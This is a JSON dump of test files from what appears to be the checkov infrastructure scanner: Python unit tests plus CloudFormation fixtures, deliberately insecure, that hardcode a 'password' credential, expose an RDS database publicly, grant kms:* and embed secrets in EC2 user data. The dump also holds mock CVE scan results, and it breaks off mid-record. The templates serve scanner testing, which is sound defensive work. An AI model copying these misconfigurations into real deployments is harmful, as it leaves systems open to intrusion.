len(local_graph.vertices_by_block_type[BlockType.CONDITIONS]))\n        self.assertEqual(1, len(local_graph.vertices_by_block_type[BlockType.MAPPINGS]))\n\n        for v in local_graph.vertices:\n            if v.block_type == BlockType.RESOURCE:\n                self.assertIn(v.name, expected_resources_by_file[v.path])\n\n        sqs_queue_vertex = local_graph.vertices[local_graph.vertices_block_name_map[BlockType.RESOURCE][\"AWS::SQS::Queue.acmeCWSQueue\"][0]]\n        del sqs_queue_vertex.attributes['QueueName']['__file__']\n        del sqs_queue_vertex.attributes['QueueName']['Fn::Join'][1][0]['__file__']\n        self.assertDictEqual({'Fn::Join': ['', [{'Ref': 'ResourceNamePrefix', '__startline__': 650, '__endline__': 652}, '-acmecws']], '__startline__': 646, '__endline__': 656}, sqs_queue_vertex.attributes[\"QueueName\"])\n\n    def test_build_graph_from_source_directory_with_rendering(self):\n        root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, \"./runner/resources\"))\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph, definitions = graph_manager.build_graph_from_source_directory(root_dir, render_variables=True)\n\n        sqs_queue_vertex = local_graph.vertices[local_graph.vertices_block_name_map[BlockType.RESOURCE][\"AWS::SQS::Queue.acmeCWSQueue\"][0]]\n        del sqs_queue_vertex.config['QueueName']['__file__']\n        expected_node = {'Fn::Join': ['', ['acme', '-acmecws']], '__startline__': 646, '__endline__': 656}\n        self.assertDictEqual(expected_node, sqs_queue_vertex.config[\"QueueName\"])\n        found = False\n        for d in definitions:\n            if 'resources/success.json' in d:\n                found = True\n                node = definitions[d]['Resources']['acmeCWSQueue']['Properties']['QueueName']\n                self.assertDictEqual(expected_node, node)\n        self.assertTrue(found, 'Did not find the wanted node, for acmeCWSQueue')\n\n    def test_build_graph_from_definitions(self):\n        relative_file_path = \"./checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml\"\n        definitions = {}\n        file = os.path.realpath(os.path.join(TEST_DIRNAME, relative_file_path))\n        (definitions[relative_file_path], definitions_raw) = parse(file)\n        graph_manager = CloudformationGraphManager(db_connector=NetworkxConnector())\n        local_graph = graph_manager.build_graph_from_definitions(definitions)\n        self.assertEqual(1, len(local_graph.vertices))\n        resource_vertex = local_graph.vertices[0]\n        self.assertEqual(\"AWS::ApiGateway::Stage.Enabled\", resource_vertex.name)\n        self.assertEqual(\"AWS::ApiGateway::Stage.Enabled\", resource_vertex.id)\n        self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type)\n        self.assertEqual(\"CloudFormation\", resource_vertex.source)\n        self.assertDictEqual(definitions[relative_file_path][\"Resources\"][\"Enabled\"][\"Properties\"], resource_vertex.attributes)\n"
  },
  {
    "path": "tests/cloudformation/test_scanner_registry.py",
    "content": "import unittest\n\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry as registry\n\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def test_num_of_scanners(self):\n        scanners_counter = 0\n        for key in list(registry.checks.keys()):\n            scanners_counter += len(registry.checks[key])\n\n        self.assertGreater(scanners_counter, 1)\n\n    def test_non_colliding_check_ids(self):\n        check_id_check_class_map = {}\n        for (resource_type, checks) in registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/utils/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/utils/file_formats/test.json",
    "content": "{\n  \"AWSTemplateFormatVersion\" : \"2010-09-09\",\n  \"Description\": \"AWS CloudFormation Template to deploy insecure infrastructure\",\n  \"Parameters\": {\n    \"KmsMasterKeyId\": {\n      \"Description\": \"Company Name\",\n      \"Type\": \"String\",\n      \"Default\": \"kms_id\"\n    },\n    \"DBName\": {\n      \"Description\": \"Name of the Database\",\n      \"Type\": \"String\",\n      \"Default\": \"db\"\n    }\n  },\n  \"Resources\": {\n    \"MySourceQueue\": {\n      \"Type\": \"AWS::SQS::Queue\",\n      \"Properties\": {\n        \"KmsMasterKeyId\": { \"Ref\": \"KmsMasterKeyId\" }\n      }\n    },\n    \"MyDB\": {\n      \"Type\": \"AWS::RDS::DBInstance\",\n      \"Properties\": {\n        \"DBName\": { \"Ref\": \"DBName\" },\n        \"DBInstanceClass\": \"db.t3.micro\",\n        \"Engine\": \"mysql\",\n        \"MasterUsername\": \"master\",\n        \"MasterUserPassword\": \"password\"\n      }\n    }\n  },\n  \"Outputs\": {\n    \"DBAppPublicDNS\": {\n      \"Description\": \"DB App Public DNS Name\",\n      \"Value\": { \"Fn::GetAtt\" : [ \"MyDB\", \"PublicDnsName\" ] }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/utils/file_formats/test.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\nParameters:\n  KmsMasterKeyId:\n    Description: Company Name\n    Type: String\n    Default: kms_id\n  DBName:\n    Description: Name of the Database\n    Type: String\n    Default: db1\nResources:\n  MySourceQueue:\n    Type: AWS::SQS::Queue\n    Properties:\n      KmsMasterKeyId: !Ref KmsMasterKeyId\n  MyDB:\n    # Test case for check skip via 'Metadata'\n    Metadata:\n      checkov:\n        skip:\n          - id: CKV_AWS_17\n            comment: Ensure all data stored in RDS is not publicly accessible\n      bridgecrew:\n        skip:\n          - id: CKV_AWS_157\n            comment: Ensure that RDS instances have Multi-AZ enabled\n    Type: 'AWS::RDS::DBInstance'\n    # Test case for check skip via comment\n    # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest\n    Properties:\n      DBName: !Ref DBName\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      PubliclyAccessible: True\n\nOutputs:\n  DBAppPublicDNS:\n    Description: DB App Public DNS Name\n    Value: !GetAtt [ MyDB, PublicDnsName ]\n"
  },
  {
    "path": "tests/cloudformation/utils/file_formats/test2.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: AWS CloudFormation Template to deploy insecure infrastructure\nParameters:\n  LatestAmiId:\n    Type: AWS::SSM::Parameter::Value<AWS::EC2::Image::Id>\n    Default: /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\n#test\nResources:\n  ####################\n  ###  EC2 in VPC  ###\n  ####################\n  WebHostStorage:\n    # Unencrypted Volume\n    Type: AWS::EC2::Volume\n    Properties:\n      AvailabilityZone: !Select\n        - 0\n        - Fn::GetAZs: \"\"\n      #Encrypted: False\n      Size: 1\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-ebs\"\n\n  #############\n  ###  KMS  ###\n  #############\n\n  LogsKey:\n    # Key does not have rotation enabled\n    Type: AWS::KMS::Key\n    Properties:\n      Description: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-logs bucket key\"\n      PendingWindowInDays: 7\n      KeyPolicy:\n        Version: '2012-10-17'\n        Id: key-default-1\n        Statement:\n        - Sid: Enable IAM User Permissions\n          Effect: Allow\n          Principal:\n            AWS: !Sub arn:aws:iam::${AWS::AccountId}:root\n          Action: kms:*\n          Resource: '*'\n\n  LogsKeyAlias:\n    Type: AWS::KMS::Alias\n    Properties:\n      AliasName: !Sub \"alias/${AWS::AccountId}-${CompanyName}-${Environment}-logs-bucket-key\"\n      TargetKeyId: !Ref LogsKey\n\n  DBAppInstance:\n    # EC2 have plain text secrets in user data\n    Type: AWS::EC2::Instance\n    Properties:\n      AvailabilityZone:\n        Fn::Select:\n        - 0\n        - Fn::GetAZs: \"\"\n      ImageId: !Ref LatestAmiId\n      InstanceType: t2.nano\n      IamInstanceProfile: !Ref EC2Profile\n      SecurityGroupIds:\n        - !Ref WebNodeSG\n      SubnetId: !Ref WebSubnet\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-dbapp\"\n      UserData:\n        Fn::Base64: !Sub |\n          #!/bin/bash\n          ### Config from https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html\n          sudo yum -y update\n          sudo yum -y install httpd php php-mysqlnd\n          sudo systemctl enable httpd\n          sudo systemctl start httpd\n          sudo mkdir /var/www/inc\n          cat << EnD > /tmp/dbinfo.inc\n          <?php\n          define('DB_SERVER', '${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}');\n          define('DB_USERNAME', 'admin');\n          define('DB_PASSWORD', '${Password}');\n          define('DB_DATABASE', '${DefaultDB}');\n          ?>\n          EnD\n          sudo mv /tmp/dbinfo.inc /var/www/inc\n          sudo chown root:root /var/www/inc/dbinfo.inc\n          cat << EnD > /tmp/index.php\n          <?php include \"../inc/dbinfo.inc\"; ?>\n          <html>\n          <body>\n          <h1>Sample page</h1>\n          <?php\n            /* Connect to MySQL and select the database. */\n            $connection = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD);\n            if (mysqli_connect_errno()) echo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n            $database = mysqli_select_db($connection, DB_DATABASE);\n            /* Ensure that the EMPLOYEES table exists. */\n            VerifyEmployeesTable($connection, DB_DATABASE);\n            /* If input fields are populated, add a row to the EMPLOYEES table. */\n            $employee_name = htmlentities($_POST['NAME']);\n            $employee_address = htmlentities($_POST['ADDRESS']);\n            if (strlen($employee_name) || strlen($employee_address)) {\n              AddEmployee($connection, $employee_name, $employee_address);\n            }\n          ?>\n          <!-- Input form -->\n          <form action=\"<?PHP echo $_SERVER['SCRIPT_NAME'] ?>\" method=\"POST\">\n            <table border=\"0\">\n              <tr>\n                <td>NAME</td>\n                <td>ADDRESS</td>\n              </tr>\n              <tr>\n                <td>\n                  <input type=\"text\" name=\"NAME\" maxlength=\"45\" size=\"30\" />\n                </td>\n                <td>\n                  <input type=\"text\" name=\"ADDRESS\" maxlength=\"90\" size=\"60\" />\n                </td>\n                <td>\n                  <input type=\"submit\" value=\"Add Data\" />\n                </td>\n              </tr>\n            </table>\n          </form>\n          <!-- Display table data. -->\n          <table border=\"1\" cellpadding=\"2\" cellspacing=\"2\">\n            <tr>\n              <td>ID</td>\n              <td>NAME</td>\n              <td>ADDRESS</td>\n            </tr>\n          <?php\n          $result = mysqli_query($connection, \"SELECT * FROM EMPLOYEES\");\n          while($query_data = mysqli_fetch_row($result)) {\n            echo \"<tr>\";\n            echo \"<td>\",$query_data[0], \"</td>\",\n                 \"<td>\",$query_data[1], \"</td>\",\n                 \"<td>\",$query_data[2], \"</td>\";\n            echo \"</tr>\";\n          }\n          ?>\n          </table>\n          <!-- Clean up. -->\n          <?php\n            mysqli_free_result($result);\n            mysqli_close($connection);\n          ?>\n          </body>\n          </html>\n          <?php\n          /* Add an employee to the table. */\n          function AddEmployee($connection, $name, $address) {\n             $n = mysqli_real_escape_string($connection, $name);\n             $a = mysqli_real_escape_string($connection, $address);\n             $query = \"INSERT INTO EMPLOYEES (NAME, ADDRESS) VALUES ('$n', '$a');\";\n             if(!mysqli_query($connection, $query)) echo(\"<p>Error adding employee data.</p>\");\n          }\n          /* Check whether the table exists and, if not, create it. */\n          function VerifyEmployeesTable($connection, $dbName) {\n            if(!TableExists(\"EMPLOYEES\", $connection, $dbName))\n            {\n               $query = \"CREATE TABLE EMPLOYEES (\n                   ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n                   NAME VARCHAR(45),\n                   ADDRESS VARCHAR(90)\n                 )\";\n               if(!mysqli_query($connection, $query)) echo(\"<p>Error creating table.</p>\");\n            }\n          }\n          /* Check for the existence of a table. */\n          function TableExists($tableName, $connection, $dbName) {\n            $t = mysqli_real_escape_string($connection, $tableName);\n            $d = mysqli_real_escape_string($connection, $dbName);\n            $checktable = mysqli_query($connection,\n                \"SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '$t' AND TABLE_SCHEMA = '$d'\");\n            if(mysqli_num_rows($checktable) > 0) return true;\n            return false;\n          }\n          ?>\n          EnD\n          sudo mv /tmp/index.php /var/www/html\n          sudo chown root:root /var/www/html/index.php\n\nOutputs:\n  EC2PublicDNS:\n    # test comment\n    # test comment2\n    Description: Web Host Public DNS Name\n    Value: !GetAtt [EC2Instance, PublicDnsName]\n  VpcId:\n    Description: The ID of the VPC\n    # test comment\n    Value: !Ref WebVPC\n  PublicSubnet:\n    Description: The ID of the Public Subnet\n    Value: !Ref WebSubnet\n    # test comment\n  PublicSubnet2:\n    Description: The ID of the Public Subnet\n    Value: !Ref WebSubnet2\n\n  UserName:\n    Description: The Name of the IAM User\n    Value: !Ref User\n"
  },
  {
    "path": "tests/cloudformation/utils/test_cfn_utils.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nfrom checkov.cloudformation.cfn_utils import get_folder_definitions, build_definitions_context, enrich_resources_with_globals\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.common.bridgecrew.platform_integration import bc_integration, BcPlatformIntegration\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.cloudformation.parser import TemplateSections\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\nRELATIVE_PATH = \"file_formats\"\n\n\nclass TestCfnUtils(unittest.TestCase):\n    def setUp(self):\n        # self.test_root_dir = os.path.realpath(os.path.join(TEST_DIRNAME, RELATIVE_PATH))\n        self.test_root_dir = Path(TEST_DIRNAME) / RELATIVE_PATH\n        integration = BcPlatformIntegration()\n        metadata_integration.bc_integration = integration\n        integration.get_public_run_config()\n        metadata_integration.pre_scan()\n        definitions, definitions_raw = get_folder_definitions(str(self.test_root_dir), None)\n        self.definitions_context = build_definitions_context(definitions, definitions_raw)\n\n    def tearDown(self) -> None:\n        metadata_integration.bc_integration = bc_integration\n\n    def validate_definition_lines(self, definition: DictNode, start_line, end_line, code_lines):\n        self.assertEqual(definition[\"start_line\"], start_line)\n        self.assertEqual(definition[\"end_line\"], end_line)\n        self.assertEqual(len(definition[\"code_lines\"]), code_lines)\n\n    def test_parameters_value(self):\n        # Asserting test.yaml file\n        yaml_parameters = self.definitions_context[str(self.test_root_dir / \"test.yaml\")][\n            TemplateSections.PARAMETERS.value\n        ]\n        self.assertIsNotNone(yaml_parameters)\n        self.assertEqual(len(yaml_parameters), 2)\n        self.validate_definition_lines(yaml_parameters[\"KmsMasterKeyId\"], 4, 7, 4)\n        self.validate_definition_lines(yaml_parameters[\"DBName\"], 8, 11, 4)\n        # Asserting test2.yaml file\n        yaml2_parameters = self.definitions_context[str(self.test_root_dir / \"test2.yaml\")][\n            TemplateSections.PARAMETERS.value\n        ]\n        self.assertIsNotNone(yaml2_parameters)\n        self.assertEqual(len(yaml2_parameters), 1)\n        self.validate_definition_lines(yaml2_parameters[\"LatestAmiId\"], 4, 6, 3)\n        # Asserting json file\n        json_parameters = self.definitions_context[str(self.test_root_dir / \"test.json\")][\n            TemplateSections.PARAMETERS.value\n        ]\n        self.assertIsNotNone(json_parameters)\n        self.assertEqual(len(json_parameters), 2)\n        self.validate_definition_lines(json_parameters[\"KmsMasterKeyId\"], 5, 9, 5)\n        self.validate_definition_lines(json_parameters[\"DBName\"], 10, 14, 5)\n\n    def test_resources_value(self):\n        # Asserting test.yaml file\n        yaml_resources = self.definitions_context[str(self.test_root_dir / \"test.yaml\")][\n            TemplateSections.RESOURCES.value\n        ]\n        self.assertIsNotNone(yaml_resources)\n        self.assertEqual(len(yaml_resources), 2)\n        self.validate_definition_lines(yaml_resources[\"MySourceQueue\"], 13, 16, 4)\n        self.validate_definition_lines(yaml_resources[\"MyDB\"], 17, 37, 21)\n        # Asserting test2.yaml file\n        yaml2_resources = self.definitions_context[str(self.test_root_dir / \"test2.yaml\")][\n            TemplateSections.RESOURCES.value\n        ]\n        self.assertIsNotNone(yaml2_resources)\n        self.assertEqual(len(yaml2_resources), 4)\n        self.validate_definition_lines(yaml2_resources[\"WebHostStorage\"], 12, 23, 12)\n        self.validate_definition_lines(yaml2_resources[\"LogsKey\"], 29, 44, 16)\n        self.validate_definition_lines(yaml2_resources[\"LogsKeyAlias\"], 46, 50, 5)\n        self.validate_definition_lines(yaml2_resources[\"DBAppInstance\"], 52, 184, 133)\n        # Asserting json file\n        json_resources = self.definitions_context[str(self.test_root_dir / \"test.json\")][\n            TemplateSections.RESOURCES.value\n        ]\n        self.assertIsNotNone(json_resources)\n        self.assertEqual(len(json_resources), 2)\n        self.validate_definition_lines(json_resources[\"MySourceQueue\"], 17, 22, 6)\n        self.validate_definition_lines(json_resources[\"MyDB\"], 23, 32, 10)\n\n    def test_outputs_value(self):\n        # Asserting test.yaml file\n        yaml_outputs = self.definitions_context[str(self.test_root_dir / \"test.yaml\")][TemplateSections.OUTPUTS.value]\n        self.assertIsNotNone(yaml_outputs)\n        self.assertEqual(len(yaml_outputs), 1)\n        self.validate_definition_lines(yaml_outputs[\"DBAppPublicDNS\"], 40, 42, 3)\n        # Asserting test2.yaml file\n        yaml2_outputs = self.definitions_context[str(self.test_root_dir / \"test2.yaml\")][TemplateSections.OUTPUTS.value]\n        self.assertIsNotNone(yaml2_outputs)\n        self.assertEqual(len(yaml2_outputs), 5)\n        self.validate_definition_lines(yaml2_outputs[\"EC2PublicDNS\"], 187, 191, 5)\n        self.validate_definition_lines(yaml2_outputs[\"VpcId\"], 192, 195, 4)\n        self.validate_definition_lines(yaml2_outputs[\"PublicSubnet\"], 196, 198, 3)\n        self.validate_definition_lines(yaml2_outputs[\"PublicSubnet2\"], 200, 202, 3)\n        self.validate_definition_lines(yaml2_outputs[\"UserName\"], 204, 206, 3)\n        # Asserting json file\n        json_outputs = self.definitions_context[str(self.test_root_dir / \"test.json\")][TemplateSections.OUTPUTS.value]\n        self.assertIsNotNone(json_outputs)\n        self.assertEqual(len(json_outputs), 1)\n        self.validate_definition_lines(json_outputs[\"DBAppPublicDNS\"], 35, 38, 4)\n\n    def test_skipped_check_exists(self):\n        skipped_checks = self.definitions_context[str(self.test_root_dir / \"test.yaml\")][\n            TemplateSections.RESOURCES.value\n        ][\"MyDB\"][\"skipped_checks\"]\n        self.assertEqual(len(skipped_checks), 3)\n        self.assertCountEqual(\n            skipped_checks,\n            [\n                {\n                    \"id\": \"CKV_AWS_16\",\n                    \"suppress_comment\": \"Ensure all data stored in the RDS is securely encrypted at rest\",\n                    \"bc_id\": \"BC_AWS_GENERAL_4\",\n                    \"line_number\": 30\n                },\n                {\n                    \"id\": \"CKV_AWS_17\",\n                    \"suppress_comment\": \"Ensure all data stored in RDS is not publicly accessible\",\n                    \"bc_id\": \"BC_AWS_PUBLIC_2\",\n                },\n                {\n                    \"id\": \"CKV_AWS_157\",\n                    \"suppress_comment\": \"Ensure that RDS instances have Multi-AZ enabled\",\n                    \"bc_id\": \"BC_AWS_GENERAL_73\",\n                },\n            ],\n        )\n\n    def test_globals_absent(self):\n        original_template = {'Resources': {}}\n        enriched_template = enrich_resources_with_globals(original_template)\n        self.assertEqual(enriched_template, original_template)\n\n    def test_globals_no_resources(self):\n        original_template = {'Globals': {}, 'Resources': {}}\n        enriched_template = enrich_resources_with_globals(original_template)\n        self.assertEqual(enriched_template, original_template)\n\n    def test_globals_applicable(self):\n        start_mark = object()  # Placeholder for a real starting position in a file\n        end_mark = object()  # Placeholder for a real ending position in a file\n\n        # Setting up original template with DictNode\n        original_globals = DictNode({'Function': {'Timeout': 30}}, start_mark, end_mark)\n        original_properties = DictNode({'MemorySize': 128}, start_mark, end_mark)\n        original_resources = DictNode({\n            'MyFunction': {\n                'Type': 'AWS::Serverless::Function',\n                'Properties': original_properties\n            }\n        }, start_mark, end_mark)\n        original_template = DictNode({\n            'Globals': original_globals,\n            'Resources': original_resources\n        }, start_mark, end_mark)\n\n        # Setting up expected template with DictNode\n        expected_properties = pickle_deepcopy(original_properties)\n        expected_properties['Timeout'] = 30\n        expected_resources = DictNode({\n            'MyFunction': {\n                'Type': 'AWS::Serverless::Function',\n                'Properties': expected_properties\n            }\n        }, start_mark, end_mark)\n        expected_template = DictNode({\n            'Globals': original_globals,\n            'Resources': expected_resources\n        }, start_mark, end_mark)\n\n        # Performing the enrichment\n        enriched_template = enrich_resources_with_globals(original_template)\n        self.assertEqual(enriched_template, expected_template)\n\n    def test_deep_merge_non_conflicting(self):\n        # Example marks, in real cases these would be meaningful values\n        start_mark = object()\n        end_mark = object()\n\n        dict1 = DictNode({'a': 1}, start_mark, end_mark)\n        dict2 = DictNode({'b': 2}, start_mark, end_mark)\n        merged_result = DictNode.deep_merge(dict1, dict2)\n\n        self.assertEqual(merged_result, DictNode({'a': 1, 'b': 2}, start_mark, end_mark))\n\n    def test_deep_merge_overlapping_scalars(self):\n        start_mark = object()\n        end_mark = object()\n\n        dict1 = DictNode({'a': 1}, start_mark, end_mark)\n        dict2 = DictNode({'a': 2}, start_mark, end_mark)\n        merged_result = DictNode.deep_merge(dict1, dict2)\n\n        self.assertEqual(merged_result, DictNode({'a': 1}, start_mark, end_mark))\n\n    def test_deep_merge_recursive_dict_nodes(self):\n        start_mark = object()\n        end_mark = object()\n\n        dict1_inner = DictNode({'c': 3}, start_mark, end_mark)\n        dict1 = DictNode({'a': dict1_inner}, start_mark, end_mark)\n\n        dict2_inner = DictNode({'d': 4}, start_mark, end_mark)\n        dict2 = DictNode({'a': dict2_inner}, start_mark, end_mark)\n\n        merged_result = DictNode.deep_merge(dict1, dict2)\n        expected_result = DictNode({'a': DictNode({'c': 3, 'd': 4}, start_mark, end_mark)}, start_mark, end_mark)\n\n        self.assertEqual(merged_result, expected_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/common/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/bridgecrew/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/bridgecrew/conftest.py",
    "content": "import pytest\nfrom checkov.common.models.enums import CheckResult\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.output.secrets_record import SecretsRecord\n\nfrom checkov.common.output.report import Report\n\nkwargs = {'validation_status': 'mock', 'check_id': 'mock', 'check_name': 'mock', 'code_block': 'mock',\n          'file_path': 'mock',\n          'file_line_range': 'mock', 'evaluations': 'mock', 'check_class': 'mock', 'file_abs_path': 'mock'}\n\n\n@pytest.fixture\ndef report() -> Report:\n    record_1 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.FAILED}, **kwargs)\n    record_2 = SecretsRecord(bc_check_id=\"VIOLATION_2\", resource=\"RESOURCE_2\",\n                             check_result={\"result\": CheckResult.FAILED}, **kwargs)\n\n    record_3 = SecretsRecord(bc_check_id=\"VIOLATION_3\", resource=\"RESOURCE_1\",\n                             check_result={\"result\": CheckResult.PASSED}, **kwargs)\n\n    record_4 = SecretsRecord(bc_check_id=\"VIOLATION_1\", resource=\"RESOURCE_2\",\n                             check_result={\"result\": CheckResult.SKIPPED}, **kwargs)\n\n    report = Report(CheckType.SECRETS)\n    report.add_record(record_1)\n    report.add_record(record_2)\n    report.add_record(record_3)\n    report.add_record(record_4)\n\n    return report\n"
  },
  {
    "path": "tests/common/bridgecrew/test_wrapper.py",
    "content": "\ndef test_reduce_scan_reports_secrets(report):\n    from checkov.common.bridgecrew.wrapper import reduce_scan_reports\n    from checkov.common.typing import _ReducedScanReportCheck, _ReducedScanReport\n    from checkov.common.bridgecrew.check_type import CheckType\n\n    reduced_report: _ReducedScanReport = reduce_scan_reports([report])[CheckType.SECRETS]\n\n    checks: _ReducedScanReportCheck = reduced_report[\"checks\"]\n    all_checks = checks[\"passed_checks\"] + checks[\"failed_checks\"] + checks[\"skipped_checks\"]\n\n    assert all('validation_status' in check.keys() for check in all_checks)\n\n\ndef test_reduce_scan_reports(report):\n    from checkov.common.bridgecrew.wrapper import reduce_scan_reports\n    from checkov.common.typing import _ReducedScanReportCheck, _ReducedScanReport\n    from checkov.common.bridgecrew.check_type import CheckType\n\n    report.check_type = CheckType.GITHUB_ACTIONS\n    reduced_report: _ReducedScanReport = reduce_scan_reports([report])[CheckType.GITHUB_ACTIONS]\n\n    checks: _ReducedScanReportCheck = reduced_report[\"checks\"]\n    all_checks = checks[\"passed_checks\"] + checks[\"failed_checks\"] + checks[\"skipped_checks\"]\n\n    reduced_keys = ('check_id', 'check_result', 'resource', 'file_path', 'file_line_range')\n\n    assert all(reduced_key in check.keys() for check in all_checks for reduced_key in reduced_keys)\n    assert all('validation_status' not in check.keys() for check in all_checks)\n"
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/conftest.py",
    "content": "from typing import Dict, Any\n\nimport pytest\n\nfrom checkov.common.bridgecrew.bc_source import SourceType\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\n@pytest.fixture()\ndef mock_bc_integration() -> BcPlatformIntegration:\n    bc_integration = BcPlatformIntegration()\n    bc_integration.bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    bc_integration.bc_api_url = \"https://www.bridgecrew.cloud\"\n    bc_integration.setup_bridgecrew_credentials(\n        repo_id=\"bridgecrewio/checkov\",\n        skip_fixes=True,\n        skip_download=True,\n        source=SourceType(\"Github\", False),\n        source_version=\"1.0\",\n        repo_branch=\"master\",\n        bc_api_url=\"https://www.bridgecrew.cloud\"\n    )\n    return bc_integration\n\n\n@pytest.fixture()\ndef package_scan_result() -> Dict[str, Any]:\n    return {\n        \"repository\": \"/abs_path/to/app/requirements.txt\",\n        \"passed\": True,\n        \"packages\": [\n            {\"type\": \"python\", \"name\": \"django\", \"version\": \"1.2\", \"path\": \"/abs_path/to/app/requirements.txt\"}\n        ],\n        \"complianceIssues\": None,\n        \"complianceDistribution\": {\"critical\": 0, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n        \"vulnerabilities\": [\n            {\n                \"id\": \"CVE-2019-19844\",\n                \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n                \"cvss\": 9.8,\n                \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover.\",\n                \"severity\": \"critical\",\n                \"packageName\": \"django\",\n                \"packageVersion\": \"1.2\",\n                \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                \"riskFactors\": [\"Critical severity\", \"Has fix\", \"Attack complexity: low\", \"Attack vector: network\"],\n                \"impactedVersions\": [\"\\u003c1.11.27\"],\n                \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n                \"discoveredDate\": \"2019-12-18T19:15:00Z\",\n                \"fixDate\": \"2019-12-18T20:15:00+01:00\",\n            }\n        ],\n        \"vulnerabilityDistribution\": {\"critical\": 1, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 0},\n    }\n\n\n@pytest.fixture()\ndef docker_image_scan_result() -> Dict[str, Any]:\n    return {\n        \"results\": [\n            {\n                \"id\": \"sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b\",\n                \"distro\": \"Debian GNU/Linux 11 (bullseye)\",\n                \"distroRelease\": \"bullseye\",\n                \"collections\": [\"All\"],\n                \"packages\": [\n                    {\"type\": \"os\", \"name\": \"mawk\", \"version\": \"1.3.4.20200120-2\", \"licenses\": [\"GPL-2\"]},\n                    {\"type\": \"os\", \"name\": \"gzip\", \"version\": \"1.10-4\", \"licenses\": [\"GPL-3+\"]},\n                ],\n                \"compliances\": [\n                    {\n                        \"id\": 41,\n                        \"title\": \"(CIS_Docker_v1.2.0 - 4.1) Image should be created with a non-root user\",\n                        \"severity\": \"high\",\n                        \"description\": \"It is a good practice to run the container as a non-root user, if possible. \"\n                        \"Though user\\nnamespace mapping is now available, if a user is already defined in \"\n                        \"the container image, the\\ncontainer is run as that user by default and specific\"\n                        \" user namespace remapping is not\\nrequired\",\n                    }\n                ],\n                \"complianceDistribution\": {\"critical\": 0, \"high\": 1, \"medium\": 0, \"low\": 0, \"total\": 1},\n                \"complianceScanPassed\": True,\n                \"vulnerabilities\": [\n                    {\n                        \"id\": \"CVE-2022-23990\",\n                        \"status\": \"fixed in 2.2.10-2+deb11u1\",\n                        \"cvss\": 9.8,\n                        \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                        \"description\": \"Expat (aka libexpat) before 2.4.4 has an integer overflow in the doProlog \"\n                        \"function.\",\n                        \"severity\": \"critical\",\n                        \"packageName\": \"expat\",\n                        \"packageVersion\": \"2.2.10-2\",\n                        \"link\": \"https://security-tracker.debian.org/tracker/CVE-2022-23990\",\n                        \"riskFactors\": [\n                            \"Attack complexity: low\",\n                            \"Attack vector: network\",\n                            \"Critical severity\",\n                            \"Has fix\",\n                            \"Recent vulnerability\",\n                        ],\n                        \"impactedVersions\": [\"<2.2.10-2+deb11u1\"],\n                        \"publishedDate\": \"2022-01-26T21:15:00+02:00\",\n                        \"discoveredDate\": \"2022-02-13T11:57:08+02:00\",\n                        \"fixDate\": \"2022-01-26T21:15:00+02:00\",\n                    },\n                    {\n                        \"id\": \"CVE-2022-23852\",\n                        \"status\": \"fixed in 2.2.10-2+deb11u1\",\n                        \"cvss\": 9.8,\n                        \"vector\": 